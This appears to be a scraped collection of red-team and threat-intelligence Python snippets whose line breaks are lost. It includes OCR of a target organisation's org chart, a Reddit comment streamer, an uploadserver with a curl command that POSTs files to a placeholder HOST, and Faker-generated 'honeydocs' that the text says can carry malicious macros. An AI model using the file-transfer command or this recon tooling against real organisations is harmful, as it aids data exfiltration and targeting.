{"ip":"8.8.8.8","country_code":"US","country_name":"United States of America","region_name":"California","city_name":"Mountain View","latitude":37.38605,"longitude":-122.08385,"zip_code":"94035","time_zone":"-07:00","asn":"15169","as":"Google LLC","is_proxy":false,"message":"Limit to 500 queries per day. Sign up for a Free plan at https://www.ip2location.io to get 30K queries per month."}
A command-line tool to quickly analyze all IPs in a file and see which ones have open ports/ vulnerabilities. Can also be fed data from stdin to be used in a data pipeline.
#!/usr/bin/env python3from PIL import Imageimport pyTesseractimport numpy as np# Simple PDF Image OCR Extractorfile ='/home/rosesecurity/Desktop/Target_OrgChart.pdf'pdf_img = np.array(Image.open(file))text = pyTesseract.image_to_string(pdf_img)
Threat Intelligence Streams with Python and Reddit
Enumerate new Reddit comments for threat intelligence. This script can be modified with regular expressions to hone in on exploit development, modern threats, and any newsworthy cyber events.
#!/usr/bin/env python3import prawreddit = praw.Reddit(client_id ='xxxxxxxxxxxxxxx', client_secret ='xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', user_agent ='Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36', username ='username', password ='pass')for comment in reddit.subreddit('hacking+infosec+redteamsec+cybersecurity+netsec+hackernews+malware+blueteamsec').stream.comments():print(comment.body)
# Listen to filespython3 -m pip install --user uploadserverpython3 -m uploadserver# With basic auth: # python3 -m uploadserver --basic-auth hello:world# Send a filecurl -X POST http://HOST/upload -H -F 'files=@file.txt'# With basic auth:# curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world
Generating HoneyDocs with Python
Python's Faker module can be utilized to create honeydocs of PII with malicious macros, wordlists, emails for login brute-forcing, and much more.
import pandas as pdfrom faker import Faker# Create a Faker objectfake =Faker()# Options to data:fake.name()fake.text()fake.address()fake.email()fake.date()fake.country()fake.phone_number()fake.random_number(digits=5)# Example DataFramefaker_df = pd.DataFrame({'date':[fake.date() for i inrange(10)],'name':[fake.name() for i inrange(10)],'email':[fake.email() for i inrange(10)],'text':[fake.text() for i inrange(10)]})faker_df